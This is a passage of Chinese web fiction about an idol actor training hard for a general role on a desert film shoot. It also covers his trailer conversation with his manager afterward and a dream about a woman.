谁知人算不如天算,江临非科班出身的前因加上太多青偶剧的荼毒,导致这小子现下难调试得很,除了生得俊俏,演技和形体表达那是真的不太够看……当初试镜那惊鸿一面怎么也复刻不出来了,副导演急得连连上火便秘,喻导倒还好,每每招呼人去给副导灌下火.药,自己则悠悠闲闲摇着蒲扇一遍一遍地同江临说,“没事儿,小江,再来。” 导演愿意给他时间,好再他也没浪费太多时间。 马术老师说,沙场戏最怕的不是不会骑,是人一上马,气就散了。 于是江临握缰的手心磨破了又结痂,结了痂再磨破,起先刚开始上马时,他坐姿还会发僵,马一跑起来,整个人就跟着晃,后来没两天他就能在颠簸里稳住身形,俯身、回身、抽刀,动作一气呵成,连呼吸都压得极轻。 武指盯着他练长枪,说他太干净。“将军不是站在那儿好看的。” 江临没说话,只是把枪又握紧了些,反复练劈、挑、刺、挡。每一招都练到肩背发沉,手腕发酸,沙尘一扬起来,汗顺着下颌往下滴,砸在沙地上,很快就没了痕迹。 战场上的人本来就不能有痕迹,只有结果。 机器一关,旁人都戴上帽子、口罩隔断风沙,他就顶着风站着,练眼神,练沉默,练那种杀过人、也失过人的静。 拍摄时导演让他说词,他却总是先停一下,像在压住什么,再开口时,声音就稳了,低了,短了,像刀背贴着骨头划过去,不见血,却让人发冷。 进组前坚持的体能训练也没断。 负重跑、核心、腿力、爆发力,他一样一样扛。 披上铠甲以后,重量压在肩上,连呼吸都变得费力,他却还是一遍遍走位,一遍遍翻身下马,直到自己站在镜头里,不再像一个偶像剧男演员,倒像真是从尸山血海里走出来的人。 总有人感慨,看不出来他会这么拼。 喻闻声也好奇问过:“小江,会太辛苦了不?” 他只是将汗浸透的护腕慢慢扣好,笑着说:“不辛苦,兴奋。” 江临这是实话,能看到自己的变化,让他极其痛快。 这些年他戏拍得多,搭档换了一个又一个,今天和这位青梅竹马明天与那位虐恋情深,说到底都是些个感情纠葛,不是哭就是笑,再不过加些个歇斯底里、痛不欲生……反反复复,让人生了厌烦。 他拿到剧本的时候就已经开心了起来,哪个男人心里没有将军梦? 累点算什么?总得稍稍配得上点这位将军吧。 喻导也开心,NG多少次都开心,圈子里都在暗戳戳嘲讽他这些年只接商业片,拍的是项目不是电影。选角不严谨、见钱眼开、丢了对电影的敬畏、判断和担当,早就有了晚节不保之势……他年纪来了,这样的闲言碎语对他造成不了太大触动,但如今越看江临越顺眼,又难得衍生了年轻心性,迫切想要跟人比比大小。 “好!各就各位!” “Action!” 蒙东的风沙总是这般遮天蔽日的无理霸道。 有骑兵自戈壁那头而来,马蹄疾驰,掀起层层叠起的黄沙巨浪,蒙得这天地更显混沌了些。 领头的那人提枪纵马,血色攀上长.枪又染红了铠甲,连那马匹似也裹着浓浓的嗜杀气。 戈壁这头尸山血海,有人等着,同是刚大战过一场的将士们,蓬头垢面,血气冲天,瞧见那头兄弟们回来顿时全都振奋了起来,就连半个时辰前还气得差点劈了自己人的将领也难掩喜色,在将士们的吆五喝六中十分努力地压着嘴角。 “吁——” 那浑身染血的小将翻身下马,仔细一瞧,是个佩弓矢,竖旌旗的少年。 春末河西的太阳尚带着八分冷意,照在他额面,似雪似霜。 阿木抱着水壶站在远处,他跟江临这些年绿布见了无数,这样真的摆在现实里的大场面还是头回看见,刚刚演员们纵马扬蹄带过来的风沙甚至扑进了他口鼻,他咽了口唾沫蹑手蹑脚挪到导演身后。 镜头里,那个少年校尉笑起来极为惹眼,一场生死恶战后,被沙土和血污盖住的脸原本看不出什么模样,但如此一笑,却蓦地明朗了起来,天光一般,再望去,那身凛凛铁甲下似是养着哪家纨绔,四仰八叉躺在地上,眼里盛着半拉太阳,一股子懒懒散散的风流劲儿。 “Cut!” 喻导裹紧衣服,哑着嗓子喊了声,“过!天黑了到七星湖继续!” 这边冬长夏短,且来得迟,太阳刚落下一小截,就冷得很明显了,剧组好些个人昨晚不慎已经着凉,喻导最烦意外,录制进程又赶,他可不想吃这个亏,“大家赶紧上车吃饭,别感冒了!” 江临一身盔甲穿了八、九个钟头没脱,沉得直把人往地里扽。 从日头刚出拍到现在,又是骑马又是砍杀来来回回倒腾,最后滚那两下已经耗了所有力气,还是同戏的前辈 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迤逦东去的茫茫沙漠宛如一束弓弦,组成了巨大的金弓形,剧组的车队在沙地中碾出一道又一道深深的沟壑,而转瞬又被风轻巧抹平,彷佛从未有人来过。 摇摇晃晃行驶的房车中,江临正生无可恋地吊着手脚仰在小沙发里,还是那身甲,一小时后得续着拍,一脱一穿嫌麻烦,虽然不脱更麻烦,但就是嫌麻烦。 方汀昨天跟着高层来隔壁市跑工作,跑完想起江临在这边进组已经有大半个月了,这段时间全是阿木那小子一个人跟着,每每汇报进程都是副半死不活的蔫样儿,他不放心,趁着有空档,租了车子过来看看。 这一来就后悔了,他决意往后多给阿木一些信任。 方汀给江临盖了张毛毯,递了个保温杯,又招呼阿木去热盒饭。 跟坐着不动的导演不同,江临今天出不少汗,发套都快粘上了,此时静下来只觉得身上怄得厉害并且衣领里头凉飕飕的,风渐大,车窗外呜呜直响,库布齐沙漠夜晚的风是真的凶。 剧组驻扎临近旅游景区,白天刚取了块戈壁上的景,晚上就得挪到七星湖,要拍碧波荡漾的七星湖在滚滚黄沙中倒映出朝阳的镜头。 江临保持这个半瘫痪的姿势望着头顶灯管发呆,呆着呆着没留神就眯着了,茶杯咕噜咕噜滚出老远才将他惊醒。 方汀摆好饭菜,“先吃饭,这饭可能再几分钟就得凉透了,吃完睡一小会儿。” 江临艰难坐直,迷迷瞪瞪道:“我好像做了个梦。” 方汀抽出筷子往他手里塞,“才眯这么一小会儿就做上梦了?” “嗯。”江临揉了揉眼睛。 江临梦见阳明姝了。 梦里他在台上,她站三三两两的观众里,台上打光刺目,台下她一双眼,欲说还休。 像那次她在底下观摩他拍广告,又不像,她似在笑又似没有。 莫名其妙,没头没尾的,光让人想着有点心慌。 “累的,大半个月了,没能歇一天,”方汀碎碎叨叨,“得亏这儿也快结束了,坚持坚持,再努把力咱就回了……” 沙漠腹地没什么吃的,剧组冰箱准备的也都是些耐放的食材,吃一两回还凑合,大半个月天天三顿这么吃下来就让人想吐了。 向来自以为口腹欲极低的阿木也觉得恶心得慌,闭着眼一顿狂塞,塞完往垃圾桶一扔便再不想看第二眼了。 桌旁,江临还迷瞪着努力回想那几分钟就跑了半边魂的梦,方汀说话的间隙不忘果腹,江临执拗,完完全全忘了吃饭这回事儿。 “……” 十分钟后,江临嚼着凉透了的饭菜,“我可能有病。” 方汀点头:“嗯,没病好歹能吃上口热乎的。” 江临两眼放空,味同嚼蜡,半晌后问道:“是不是这几场过了就能出沙漠了?” “嗯,喻导反正这么说的,沙场戏都堆在这儿,拍完再补一个草原镜就能回了。” 江临扒拉一半,放下筷子管人要手机,方汀本来还想劝他再吃两口,但看了眼那份残羹冷炙没能开得了口。 江临拿到手机后便起身离开小沙发,往房车最里头去了,空间狭窄,他又穿着盔甲,一路叮呤哐啷,东撞一下西卡一下,惹得方汀和阿木都相继回头看了他好几眼。